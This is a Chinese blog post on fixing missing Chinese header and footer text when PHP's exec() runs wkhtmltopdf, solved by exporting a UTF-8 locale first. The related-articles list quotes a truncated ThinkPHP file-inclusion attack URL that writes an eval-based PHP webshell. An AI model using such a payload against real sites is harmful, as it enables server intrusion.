首页 > 系统相关 >php exec 函数执行shell命令,中文参数异常的问题

php exec 函数执行shell命令,中文参数异常的问题

时间:2022-09-02 18:23:07浏览次数:60  
标签:shell footer -- exec font header php size

exec("/usr/local/bin/wkhtmltopdf --page-size A4 --footer-font-name FangSong --footer-line --header-font-size 13 --footer-font-size 9 --footer-center [page] --footer-right 此文件严禁复印、转录、拍照。如需分享,请登录XX2.0「XX信息」应用,站内转发给其他用户。 --header-line --header-center XX信息 ".$htmlFilePath." ".$pdfFilePath);

问题复现,在执行上面的命令时,中文参数没有显示,生成的pdf页眉和页脚没有加上对应的中文。

原因,exec 的命令前首先指定字符集  export LANG=en_US.UTF-8;

exec("export LANG=en_US.UTF-8;/usr/local/bin/wkhtmltopdf --page-size A4 --footer-font-name FangSong --footer-line --header-font-size 13 --footer-font-size 9 --footer-center [page] --footer-right 此文件严禁复印、转录、拍照。如需分享,请登录XX2.0「XX信息」应用,站内转发给其他用户。 --header-line --header-center XX信息 ".$htmlFilePath." ".$pdfFilePath);

 

感谢 https://blog.csdn.net/weixin_39984403/article/details/115093785

标签:shell,footer,--,exec,font,header,php,size
From: https://www.cnblogs.com/tingfengqieyu/p/16650881.html

相关文章

  • thinkphp 3.2.3 包含任意 文件 的漏洞,这个太多了,我就不详细了解了
    攻击的代码http://localhost/index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%2782.php%27,%27%3C?php%20@eval($_PO......
  • Shell 传递参数
    可执行文件loan_repay_check.sh其中有三个参数s_date,e_date,project_key如下:传入参数执行:shloan_repay_check.sh2022-03-022022-03-02lx8......
  • 04_Linux基础-.&..-cat-tac-重定向-EOF-Shell-more-ps-less-head-tail-sed-grep-which
    04_Linux基础-.&..-cat-tac->&>>-EOF-Shell-more-ps-less-head-tail-sed-grep-which-whereis-PATH-bash-/usr-locate-find一.回顾回顾// 将/home/目录下的所有文件和......
  • php webman对接Luckysheet share多人协作模式项目
    2022年9月2日10:05:03gitee地址https://gitee.com/zxadmin/luckysheet-phpserver此项目目前定义为对接失败,当然Luckysheet也可以去除掉加密的部分,直接json通信就没问题......
  • php上传文件夹的解决方案
    ​需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在20G内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以20G来进行限制。PC端全平台支......
  • php操作FPDF
    1.引入PDF文件 1.1 引入中文字体  PDFMerger/fpdf/chinese.php; 12 引入英文字体  PDFMerger/fpdf/chinese.php; 文件地址如图:  2.获取信息$......
  • 特质,我如何使用它们来改进我的代码 (PHP)
    特质,我如何使用它们来改进我的代码(PHP)用这5个技巧变得很棒Photoby朱迪库克on不飞溅嗨,我是尼科,我是伦敦(英国)一家票务经纪公司的高级工程师。您正在从办公......
  • # 叨叨Xshell的复制粘贴
    最近开始使用Xshell连接远程服务器进行开发,然后发现不会复制粘贴了,而网络上的各种博客讲的也很不清楚,所以弄明白了之后决定写个博客叨叨复制粘贴。为啥ctrl+C和ctrl+V不行......
  • linux shell中'',""和``的区别
    linuxshell中'',""和``的区别-XuFeng-博客园 https://www.cnblogs.com/Skyar/p/5914942.html今天学习一个bash脚本,看到有一条:bin=`dirname"$0"`(dirnamefilenam......
  • 报错:①Tog goal specified requires a project to execute but there is no POM in th
    在运行Maven的命令时,在DOS窗口里面必须把目录切换到项目的根部,要不然命令是找不到目的地。下图是错误示范,项目在Demo02这个目录里,就必须将目录切换到Demo02下,否则DOS窗口......